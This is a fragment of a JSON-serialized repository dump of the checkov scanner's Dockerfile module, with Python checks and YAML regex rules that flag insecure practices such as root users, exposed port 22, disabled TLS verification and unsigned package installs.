{}\n            if skipped_check_ids:\n                if check.id in skipped_check_ids:\n                    skip_info = skipped_check_ids[check.id]\n\n            if runner_filter.should_run_check(check, report_type=CheckType.DOCKERFILE):\n                self.update_result(\n                    check=check,\n                    entity_configuration=entity,\n                    entity_name=scanned_file,\n                    entity_type=\"*\",\n                    results=results,\n                    scanned_file=scanned_file,\n                    skip_info=skip_info,\n                )\n        return results\n\n    def update_result(\n        self,\n        check: BaseCheck,\n        entity_configuration: list[_Instruction] | dict[str, list[_Instruction]],\n        entity_name: str,\n        entity_type: str,\n        results: dict[BaseCheck, _CheckResult],\n        scanned_file: str,\n        skip_info: _SkippedCheck\n    ) -> None:\n        result = self.run_check(\n            check=check,\n            entity_configuration=entity_configuration,  # type:ignore[arg-type]  # special Dockerfile runner behaviour\n            entity_name=entity_name,\n            entity_type=entity_type,\n            scanned_file=scanned_file,\n            skip_info=skip_info,\n        )\n        results[check] = {}\n        if result['result'] == CheckResult.SKIPPED:\n            results[check]['result'] = result['result']\n            results[check]['suppress_comment'] = result['suppress_comment']\n            results[check]['results_configuration'] = None\n        else:\n            results[check]['result'] = cast(\"CheckResult\", result['result'][0])\n            results[check]['results_configuration'] = cast(\"dict[str, Any]\", result['result'][1])\n"
  },
  {
    "path": "checkov/dockerfile/checks/AddExists.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck\n\nif TYPE_CHECKING:\n    from dockerfile_parse.parser import _Instruction\n\n\nclass AddExists(BaseDockerfileCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that COPY is used instead of ADD in Dockerfiles\"\n        id = \"CKV_DOCKER_4\"\n        supported_instructions = (\"ADD\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions)\n\n    def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]:\n        for instruction in conf:\n            if instruction['instruction'] == \"ADD\":\n                return CheckResult.FAILED, conf\n        return CheckResult.PASSED, None\n\n\ncheck = AddExists()\n"
  },
  {
    "path": "checkov/dockerfile/checks/AliasIsUnique.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck\n\nif TYPE_CHECKING:\n    from dockerfile_parse.parser import _Instruction\n\n\nclass AliasIsUnique(BaseDockerfileCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        Ensure From Alias are unique for multistage builds.\n        \"\"\"\n        name = \"Ensure From Alias are unique for multistage builds.\"\n        id = \"CKV_DOCKER_11\"\n        supported_instructions = (\"FROM\",)\n        categories = (CheckCategories.CONVENTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions)\n\n    def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]:\n        alias = []\n        for instruction in conf:\n            if \" as \" in instruction[\"value\"]:\n                alias.append(instruction[\"value\"].rsplit(maxsplit=1)[-1])\n\n        if len(alias) == len(set(alias)):\n            return CheckResult.PASSED, None\n\n        return CheckResult.FAILED, [conf[0]]\n\n\ncheck = AliasIsUnique()\n"
  },
  {
    "path": "checkov/dockerfile/checks/ExposePort22.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck\n\nif TYPE_CHECKING:\n    from dockerfile_parse.parser import _Instruction\n\n\nclass ExposePort22(BaseDockerfileCheck):\n    def __init__(self) -> None:\n        name = \"Ensure port 22 is not exposed\"\n        id = \"CKV_DOCKER_1\"\n        supported_instructions = (\"EXPOSE\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions)\n\n    def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]:\n        for expose in conf:\n            if any(port in expose[\"value\"].split(\" \") for port in (\"22\", \"22/tcp\")):\n                return CheckResult.FAILED, [expose]\n\n        return CheckResult.PASSED, None\n\n\ncheck = ExposePort22()\n"
  },
  {
    "path": "checkov/dockerfile/checks/HealthcheckExists.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck\n\nif TYPE_CHECKING:\n    from dockerfile_parse.parser import _Instruction\n\n\nclass HealthcheckExists(BaseDockerfileCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that HEALTHCHECK instructions have been added to container images\"\n        id = \"CKV_DOCKER_2\"\n        supported_instructions = (\"*\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions)\n\n    def scan_resource_conf(self, conf: dict[str, list[_Instruction]]) -> tuple[CheckResult, list[_Instruction] | None]:  # type:ignore[override]  # special wildcard behaviour\n        for instruction, content in conf.items():\n            if instruction == \"HEALTHCHECK\":\n                return CheckResult.PASSED, content\n        return CheckResult.FAILED, None\n\n\ncheck = HealthcheckExists()\n"
  },
  {
    "path": "checkov/dockerfile/checks/MaintainerExists.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck\n\nif TYPE_CHECKING:\n    from dockerfile_parse.parser import _Instruction\n\n\nclass MaintainerExists(BaseDockerfileCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that LABEL maintainer is used instead of MAINTAINER (deprecated)\"\n        id = \"CKV_DOCKER_6\"\n        supported_instructions = (\"MAINTAINER\",)\n        categories = (CheckCategories.CONVENTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions)\n\n    def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]:\n        return CheckResult.FAILED, conf\n\n\ncheck = MaintainerExists()\n"
  },
  {
    "path": "checkov/dockerfile/checks/ReferenceLatestTag.py",
    "content": "from __future__ import annotations\n\nimport re\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck\n\nif TYPE_CHECKING:\n    from dockerfile_parse.parser import _Instruction\n\nMULTI_STAGE_PATTERN = re.compile(r\"(?:--platform=\\S+\\s+)?(\\S+)\\s+as\\s+(\\S+)\", re.IGNORECASE)\n\n\nclass ReferenceLatestTag(BaseDockerfileCheck):\n    def __init__(self) -> None:\n        name = \"Ensure the base image uses a non latest version tag\"\n        id = \"CKV_DOCKER_7\"\n        supported_instructions = (\"FROM\",)\n        categories = (CheckCategories.CONVENTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions)\n\n    def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]:\n        stages = []\n\n        for content in conf:\n            base_image = content[\"value\"]\n            if \" as \" in base_image.lower():\n                # do an initial lookup before using the regex\n                multi_stage = re.match(MULTI_STAGE_PATTERN, base_image)\n                if multi_stage:\n                    base_image = multi_stage[1]\n                    stages.append(multi_stage[2])\n\n            if \":\" not in base_image and base_image not in stages and base_image != \"scratch\":\n                return CheckResult.FAILED, [content]\n            elif base_image.endswith(\":latest\"):\n                return CheckResult.FAILED, [content]\n        return CheckResult.PASSED, [content]\n\n\ncheck = ReferenceLatestTag()\n"
  },
  {
    "path": "checkov/dockerfile/checks/RootUser.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck\n\nif TYPE_CHECKING:\n    from dockerfile_parse.parser import _Instruction\n\n\nclass RootUser(BaseDockerfileCheck):\n    def __init__(self) -> None:\n        name = \"Ensure the last USER is not root\"\n        id = \"CKV_DOCKER_8\"\n        supported_instructions = (\"USER\",)\n        categories = (CheckCategories.APPLICATION_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions)\n\n    def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]:\n        last_user = conf[-1]\n        if last_user[\"value\"] == \"root\":\n            return CheckResult.FAILED, [last_user]\n\n        return CheckResult.PASSED, [last_user]\n\n\ncheck = RootUser()\n"
  },
  {
    "path": "checkov/dockerfile/checks/RunUsingAPT.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck\n\nif TYPE_CHECKING:\n    from dockerfile_parse.parser import _Instruction\n\n\nclass RunUsingAPT(BaseDockerfileCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        Apt interface is less stable than apt-get and so this preferred\n        \"\"\"\n        name = \"Ensure that APT isn't used\"\n        id = \"CKV_DOCKER_9\"\n        supported_instructions = (\"RUN\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions)\n\n    def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]:\n        for run in conf:\n            content = run[\"content\"]\n            # Split the content by '&&' and strip any leading/trailing spaces from each segment\n            commands = [cmd.strip() for cmd in content.split(\"&&\")]\n            for command in commands:\n                # Check if 'apt' is used and it's not part of a 'rm' command\n                if \" apt \" in command and \"rm\" not in command:\n                    return CheckResult.FAILED, [run]\n        return CheckResult.PASSED, None\n\n\ncheck = RunUsingAPT()\n"
  },
  {
    "path": "checkov/dockerfile/checks/UpdateNotAlone.py",
    "content": "from __future__ import annotations\n\nimport re\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck\n\nif TYPE_CHECKING:\n    from dockerfile_parse.parser import _Instruction\n\nUPDATE_COMMANDS_PATTERN = re.compile(r\"\\s+(?:--)?update(?!\\S)\")\n\ninstall_commands = (\n    \"install\",\n    \"source-install\",\n    \"reinstall\",\n    \"groupinstall\",\n    \"localinstall\",\n    \"add\",\n    \"upgrade\"\n)\n\n\nclass UpdateNotAlone(BaseDockerfileCheck):\n    def __init__(self) -> None:\n        name = \"Ensure update instructions are not use alone in the Dockerfile\"\n        id = \"CKV_DOCKER_5\"\n        supported_instructions = (\"RUN\",)\n        categories = (CheckCategories.APPLICATION_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions)\n\n    def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]:\n        update_instructions = []\n        update_cnt = 0\n        i = 0\n        for instruction in conf:\n            content = instruction[\"content\"]\n            if instruction[\"instruction\"] in self.supported_instructions:\n\n                if \"update\" in content:\n                    # do an initial lookup before using the regex\n                    if re.search(UPDATE_COMMANDS_PATTERN, content):\n                        update_cnt = update_cnt + 1\n                        update_instructions.append(i)\n                if any(x in content for x in install_commands):\n                    update_cnt = update_cnt - 1\n            i = i + 1\n\n        if update_cnt <= 0:\n            return CheckResult.PASSED, None\n        output = []\n        for i in update_instructions:\n            output.append(conf[i])\n\n        return CheckResult.FAILED, output\n\n\ncheck = UpdateNotAlone()\n"
  },
  {
    "path": "checkov/dockerfile/checks/UserExists.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck\n\nif TYPE_CHECKING:\n    from dockerfile_parse.parser import _Instruction\n\n\nclass UserExists(BaseDockerfileCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that a user for the container has been created\"\n        id = \"CKV_DOCKER_3\"\n        supported_instructions = (\"*\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions)\n\n    def scan_resource_conf(self, conf: dict[str, list[_Instruction]]) -> tuple[CheckResult, list[_Instruction] | None]:  # type:ignore[override]  # special wildcard behaviour\n        for instruction, content in conf.items():\n            if instruction == \"USER\":\n                return CheckResult.PASSED, content\n        return CheckResult.FAILED, None\n\n\ncheck = UserExists()\n"
  },
  {
    "path": "checkov/dockerfile/checks/WorkdirIsAbsolute.py",
    "content": "from __future__ import annotations\n\nimport re\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck\n\nif TYPE_CHECKING:\n    from dockerfile_parse.parser import _Instruction\n\nISABSOLUTE = re.compile('^\"?((/[A-Za-z0-9-_+]*)|([A-Za-z0-9-_+]:\\\\\\\\.*)|(\\\\$[{}A-Za-z0-9-_+].*))')\n\n\nclass WorkdirIsAbsolute(BaseDockerfileCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        For clarity and reliability, you should always use absolute paths for your WORKDIR.\n        \"\"\"\n        name = \"Ensure that WORKDIR values are absolute paths\"\n        id = \"CKV_DOCKER_10\"\n        supported_instructions = (\"WORKDIR\",)\n        categories = (CheckCategories.CONVENTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions)\n\n    def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]:\n        workdirs = []\n        for workdir in conf:\n            path = workdir[\"value\"]\n            if isinstance(path, str) and not re.match(ISABSOLUTE, path):\n                workdirs.append(workdir)\n\n        if workdirs:\n            return CheckResult.FAILED, workdirs\n\n        return CheckResult.PASSED, None\n\n\ncheck = WorkdirIsAbsolute()\n"
  },
  {
    "path": "checkov/dockerfile/checks/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/dockerfile/checks/graph_checks/EnvGitSslNoVerify.yaml",
    "content": "metadata:\n  id: \"CKV2_DOCKER_14\"\n  name: \"Ensure that certificate validation isn't disabled for git by setting the environment variable 'GIT_SSL_NO_VERIFY' to any value\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n  or:\n    - cond_type: attribute\n      resource_types:\n        - ARG\n        - ENV\n      attribute: value\n      operator: not_regex_match\n      value: \"(.*\\\\s+)?(GIT_SSL_NO_VERIFY(=|\\\\s+)[^\\\\s]+).*\"\n    - cond_type: attribute\n      resource_types:\n        - RUN\n      attribute: value\n      operator: not_regex_match\n      value: \"(.*[\\\\s;&|]+)?(export\\\\s+)?(GIT_SSL_NO_VERIFY=(([^\\\\s]+)|('[^']+')|(\\\"[^s\\\"]+\\\"))).*\"\n"
  },
  {
    "path": "checkov/dockerfile/checks/graph_checks/EnvNodeTlsRejectUnauthorized.yaml",
    "content": "metadata:\n  id: \"CKV2_DOCKER_6\"\n  name: \"Ensure that certificate validation isn't disabled with the NODE_TLS_REJECT_UNAUTHORIZED environment variable\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n  or:\n    - cond_type: attribute\n      resource_types:\n        - ARG\n        - ENV\n      attribute: value\n      operator: not_regex_match\n      value: \"(.*\\\\s+)?(NODE_TLS_REJECT_UNAUTHORIZED(=|\\\\s+)((0)|('0')|(\\\"0\\\"))).*\"\n    - cond_type: attribute\n      resource_types:\n        - RUN\n      attribute: value\n      operator: not_regex_match\n      value: \"(.*[\\\\s;&|]+)?(NODE_TLS_REJECT_UNAUTHORIZED=((0)|('0')|(\\\"0\\\"))) .*\"\n"
  },
  {
    "path": "checkov/dockerfile/checks/graph_checks/EnvNpmConfigStrictSsl.yaml",
    "content": "metadata:\n  id: \"CKV2_DOCKER_12\"\n  name: \"Ensure that certificate validation isn't disabled for npm via the 'NPM_CONFIG_STRICT_SSL' environment variable\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n  or:\n    - cond_type: attribute\n      resource_types:\n        - ARG\n        - ENV\n      attribute: value\n      operator: not_regex_match\n      value: \"(.*\\\\s+)?(((NPM_CONFIG_STRICT_SSL)|(npm_config_strict_ssl))(=|\\\\s+)((false)|('false')|(\\\"false\\\"))).*\"\n    - cond_type: attribute\n      resource_types:\n        - RUN\n      attribute: value\n      operator: not_regex_match\n      value: \"(.*[\\\\s;&|]+)?(((NPM_CONFIG_STRICT_SSL)|(npm_config_strict_ssl))=((false)|('false')|(\\\"false\\\"))) .*\"\n"
  },
  {
    "path": "checkov/dockerfile/checks/graph_checks/EnvPipTrustedHost.yaml",
    "content": "metadata:\n  id: \"CKV2_DOCKER_16\"\n  name: \"Ensure that certificate validation isn't disabled with pip via the 'PIP_TRUSTED_HOST' environment variable\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n  or:\n    - cond_type: attribute\n      resource_types:\n        - RUN\n      attribute: value\n      operator: not_regex_match\n      value: \"(.*[\\\\s;&|]+)?(export\\\\s+)?(PIP_TRUSTED_HOST=(([^\\\\s]+)|('[^']+')|(\\\"[^s\\\"]+\\\"))).*\"\n    - cond_type: attribute\n      resource_types:\n        - ARG\n        - ENV\n      attribute: value\n      operator: not_regex_match\n      value: \"(.*\\\\s+)?(PIP_TRUSTED_HOST(=|\\\\s+)[^\\\\s]+).*\"\n"
  },
  {
    "path": "checkov/dockerfile/checks/graph_checks/EnvPythonHttpsVerify.yaml",
    "content": "metadata:\n  id: \"CKV2_DOCKER_5\"\n  name: \"Ensure that certificate validation isn't disabled with the PYTHONHTTPSVERIFY environment variable\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n  or:\n    - cond_type: attribute\n      resource_types:\n        - ARG\n        - ENV\n      attribute: value\n      operator: not_regex_match\n      value: \"(.*\\\\s+)?(PYTHONHTTPSVERIFY(=|\\\\s+)((0)|('0')|(\\\"0\\\"))).*\"\n    - cond_type: attribute\n      resource_types:\n        - RUN\n      attribute: value\n      operator: not_regex_match\n      value: \"(.*[\\\\s;&|]+)?(PYTHONHTTPSVERIFY=((0)|('0')|(\\\"0\\\"))) .*\"\n"
  },
  {
    "path": "checkov/dockerfile/checks/graph_checks/RunApkAllowUntrusted.yaml",
    "content": "metadata:\n  id: \"CKV2_DOCKER_7\"\n  name: \"Ensure that packages with untrusted or missing signatures are not used by apk via the '--allow-untrusted' option\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n    cond_type: attribute\n    resource_types:\n      - RUN\n    attribute: value\n    operator: not_regex_match\n    value: \".*(apk[^\\\\|&;]*\\\\s+--allow-untrusted).*\"\n"
  },
  {
    "path": "checkov/dockerfile/checks/graph_checks/RunAptGetAllowUnauthenticated.yaml",
    "content": "metadata:\n  id: \"CKV2_DOCKER_8\"\n  name: \"Ensure that packages with untrusted or missing signatures are not used by apt-get via the '--allow-unauthenticated' option\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n    cond_type: attribute\n    resource_types:\n      - RUN\n    attribute: value\n    operator: not_regex_match\n    value: \".*(apt-get[^\\\\|&;]*\\\\s+--allow-unauthenticated).*\"\n"
  },
  {
    "path": "checkov/dockerfile/checks/graph_checks/RunAptGetForceYes.yaml",
    "content": "metadata:\n  id: \"CKV2_DOCKER_11\"\n  name: \"Ensure that the '--force-yes' option is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n    cond_type: attribute\n    resource_types:\n      - RUN\n    attribute: value\n    operator: not_regex_match\n    value: \".*(apt-get[^\\\\|&;]*\\\\s+--force-yes).*\"\n"
  },
  {
    "path": "checkov/dockerfile/checks/graph_checks/RunChpasswd.yaml",
    "content": "metadata:\n  id: \"CKV2_DOCKER_17\"\n  name: \"Ensure that 'chpasswd' is not used to set or remove passwords\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n    and:\n    - cond_type: attribute\n      resource_types:\n        - RUN\n      attribute: value\n      operator: not_starting_with\n      value: \"chpasswd \"\n    - cond_type: attribute\n      resource_types:\n        - RUN\n      attribute: value\n      operator: not_contains\n      value: \" chpasswd \"\n    - cond_type: attribute\n      resource_types:\n        - RUN\n      attribute: value\n      operator: not_ending_with\n      value: \" chpasswd\"\n"
  },
  {
    "path": "checkov/dockerfile/checks/graph_checks/RunNpmConfigSetStrictSsl.yaml",
    "content": "metadata:\n  id: \"CKV2_DOCKER_13\"\n  name: \"Ensure that certificate validation isn't disabled for npm or yarn by setting the option strict-ssl to false\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - RUN\n  attribute: value\n  operator: not_regex_match\n  value: \".*(((npm)|(yarn))\\\\s+(c(onfig)?\\\\s+)?set\\\\s+((strict-ssl)|(\\\"strict-ssl\\\")|('strict-ssl'))((\\\\s+)|(=))((false)|(\\\"false\\\")|('false'))).*\"\n"
  },
  {
    "path": "checkov/dockerfile/checks/graph_checks/RunPipTrustedHost.yaml",
    "content": "metadata:\n  id: \"CKV2_DOCKER_4\"\n  name: \"Ensure that certificate validation isn't disabled with the pip '--trusted-host' option\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n    cond_type: attribute\n    resource_types:\n      - RUN\n    attribute: value\n    operator: not_regex_match\n    value: \".*(pip3?[^\\\\|&;]*\\\\s+--trusted-host).*\"\n"
  },
  {
    "path": "checkov/dockerfile/checks/graph_checks/RunRpmNoSignature.yaml",
    "content": "metadata:\n  id: \"CKV2_DOCKER_10\"\n  name: \"Ensure that packages with untrusted or missing signatures are not used by rpm via the '--nodigest', '--nosignature', '--noverify', or '--nofiledigest' options\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n    cond_type: attribute\n    resource_types:\n      - RUN\n    attribute: value\n    operator: not_regex_match\n    value: \".*(rpm[^\\\\|&;]*\\\\s+--no((digest)|(signature)|(verify)|(filedigest))).*\"\n"
  },
  {
    "path": "checkov/dockerfile/checks/graph_checks/RunUnsafeCurl.yaml",
    "content": "metadata:\n  id: \"CKV2_DOCKER_2\"\n  name: \"Ensure that certificate validation isn't disabled with curl\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n    cond_type: attribute\n    resource_types:\n      - RUN\n    attribute: value\n    operator: not_regex_match\n    value: \".*(curl[^\\\\|&;]*\\\\s+((--insecure)|(-[^-\\\\s]*k))).*\"\n"
  },
  {
    "path": "checkov/dockerfile/checks/graph_checks/RunUnsafeWget.yaml",
    "content": "metadata:\n  id: \"CKV2_DOCKER_3\"\n  name: \"Ensure that certificate validation isn't disabled with wget\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n    cond_type: attribute\n    resource_types:\n      - RUN\n    attribute: value\n    operator: not_regex_match\n    value: \".*(wget[^\\\\|&;]*\\\\s+--no-check-certificate).*\"\n"
  },
  {
    "path": "checkov/dockerfile/checks/graph_checks/RunUsingSudo.yaml",
    "content": "metadata:\n  id: \"CKV2_DOCKER_1\"\n  name: \"Ensure that sudo isn't used\"\n  category: \"CONVENTION\"\ndefinition:\n  and:\n    - cond_type: attribute\n      resource_types:\n        - RUN\n      attribute: value\n      operator: not_contains\n      value: \" sudo \"\n    - cond_type: attribute\n      resource_types:\n        - RUN\n      attribute: value\n      operator: not_starting_with\n      value: \"sudo \"\n"
  },
  {
    "path": "checkov/dockerfile/checks/graph_checks/RunYumConfigManagerSslVerify.yaml",
    "content": "metadata:\n  id: \"CKV2_DOCKER_15\"\n  name: \"Ensure that the yum and dnf package managers are not configured to disable SSL certificate validation via the 'sslverify' configuration option\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - RUN\n  attribute: value\n  operator: not_regex_match\n  value: \"(?i).*(((yum)|(dnf))(\\\\s+|-)config-manager[^\\\\|&;]*\\\\s+--setopt=['\\\"]?([^=\\\\s]+\\\\.)?sslverify['\\\"]?=((0)|('0')|(\\\"0\\\")|(false)|('false')|(\\\"false\\\")|(no)|('no')|(\\\"no\\\"))['\\\"]?).*\"\n"
  },
  {
    "path": "checkov/dockerfile/checks/graph_checks/RunYumNoGpgCheck.yaml",
    "content": "metadata:\n  id: \"CKV2_DOCKER_9\"\n  name: \"Ensure that packages with untrusted or missing GPG signatures are not used by dnf, tdnf, or yum via the '--nogpgcheck' option\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n    cond_type: attribute\n    resource_types:\n      - RUN\n    attribute: value\n    operator: not_regex_match\n    value: \".*(((t?dnf)|(yum))[^\\\\|&;]*\\\\s+--nogpgcheck).*\"\n"
  },
  {
    "path": "checkov/dockerfile/checks/graph_checks/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/dockerfile/graph_builder/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/dockerfile/graph_builder/graph_components/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/dockerfile/graph_builder/graph_components/resource_types.py",
    "content": "from enum import Enum\n\n\nclass ResourceType(str, Enum):\n    ADD = \"ADD\"\n    ARG = \"ARG\"\n    CMD = \"CMD\"\n    COPY = \"COPY\"\n    ENTRYPOINT = \"ENTRYPOINT\"\n    ENV = \"ENV\"\n    EXPOSE = \"EXPOSE\"\n    FROM = \"FROM\"\n    HEALTHCHECK = \"HEALTHCHECK\"\n    LABEL = \"LABEL\"\n    MAINTAINER = \"MAINTAINER\"\n    ONBUILD = \"ONBUILD\"\n    RUN = \"RUN\"\n    SHELL = \"SHELL\"\n    STOPSIGNAL = \"STOPSIGNAL\"\n    USER = \"USER\"\n    VOLUME = \"VOLUME\"\n    WORKDIR = \"WORKDIR\"\n\n    def __str__(self) -> str:\n        # needed, because of a Python 3.11 change\n        return self.value\n"
  },
  {
    "path": "checkov/dockerfile/graph_builder/local_graph.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.bicep.graph_builder.graph_components.block_types import BlockType\nfrom checkov.common.graph.graph_builder import Edge, CustomAttributes\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.graph.graph_builder.graph_components.blocks import Block\nfrom checkov.common.graph.graph_builder.local_graph import LocalGraph\nfrom checkov.common.util.consts import START_LINE, END_LINE\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.dockerfile.graph_builder.graph_components.resource_types import ResourceType\nfrom checkov.dockerfile.utils import DOCKERFILE_STARTLINE, DOCKERFILE_ENDLINE\n\nif TYPE_CHECKING:\n    from dockerfile_parse.parser import _Instruction  # only in extra_stubs\n    from checkov.common.graph.graph_builder.local_graph import _Block\n\n\nclass DockerfileLocalGraph(LocalGraph[Block]):\n    def __init__(self, definitions: dict[str, dict[str, list[_Instruction]]]) -> None:\n        super().__init__()\n        self.vertices: list[Block] = []\n        self.definitions = definitions\n        self.vertices_by_path_and_name: dict[tuple[str, str], int] = {}\n\n    def build_graph(self, render_variables: bool = False) -> None:\n        self._create_vertices()\n        logging.debug(f\"[DockerfileLocalGraph] created {len(self.vertices)} vertices\")\n\n        for i, vertex in enumerate(self.vertices):\n            self.vertices_by_block_type[vertex.block_type].append(i)\n            self.vertices_block_name_map[vertex.block_type][vertex.name].append(i)\n            self.vertices_by_path_and_name[(vertex.path, vertex.name)] = i\n\n            self.in_edges[i] = []\n            self.out_edges[i] = []\n\n        self._create_edges()\n        logging.debug(f\"[DockerfileLocalGraph] created {len(self.edges)} edges\")\n\n    def _create_vertices(self) -> None:\n        for file_path, definition in self.definitions.items():\n            for instruction_type, instructions in definition.items():\n                self._create_instruction_vertices(\n                    file_path=file_path,\n                    instruction_type=instruction_type,\n                    instructions=instructions,\n                )\n\n    def _create_instruction_vertices(\n        self, file_path: str, instruction_type: str, instructions: list[_Instruction]\n    ) -> None:\n        \"\"\"Creates supported 'instruction_type' vertices\"\"\"\n\n        if instruction_type == \"COMMENT\":\n            # not interested in comments\n            return\n\n        for instruction in instructions:\n            resource_type = ResourceType.__dict__.get(instruction_type)\n            if not resource_type:\n                logging.warning(f\"An unsupported instruction {instruction_type} was used in {file_path}\")\n                continue\n\n            config = {\n                \"content\": instruction[\"content\"],\n                \"value\": instruction[\"value\"],\n                START_LINE: instruction[DOCKERFILE_STARTLINE],\n                END_LINE: instruction[DOCKERFILE_ENDLINE],\n            }\n\n            attributes = pickle_deepcopy(config)\n            attributes[CustomAttributes.RESOURCE_TYPE] = resource_type\n\n            self.vertices.append(\n                Block(\n                    name=resource_type,\n                    config=config,\n                    path=file_path,\n                    block_type=BlockType.RESOURCE,\n                    attributes=attributes,\n                    id=resource_type,\n                    source=GraphSource.DOCKERFILE,\n                )\n            )\n\n    def _create_edges(self) -> None:\n        pass\n\n    def _create_edge(self, origin_vertex_index: int, dest_vertex_index: int, label: str = \"default\") -> None:\n        if origin_vertex_index == dest_vertex_index:\n            # this should not happen\n            return\n\n        edge = Edge(origin_vertex_index, dest_vertex_index, label)\n        self.edges.append(edge)\n        self.out_edges[origin_vertex_index].append(edge)\n        self.in_edges[dest_vertex_index].append(edge)\n\n    def update_vertices_configs(self) -> None:\n        # not used\n        pass\n\n    @staticmethod\n    def update_vertex_config(\n        vertex: _Block, changed_attributes: list[str] | dict[str, Any], has_dynamic_blocks: bool = False\n    ) -> None:\n        # not used\n        pass\n\n    def get_resources_types_in_graph(self) -> list[str]:\n        # not used\n        return []\n"
  },
  {
    "path": "checkov/dockerfile/graph_manager.py",
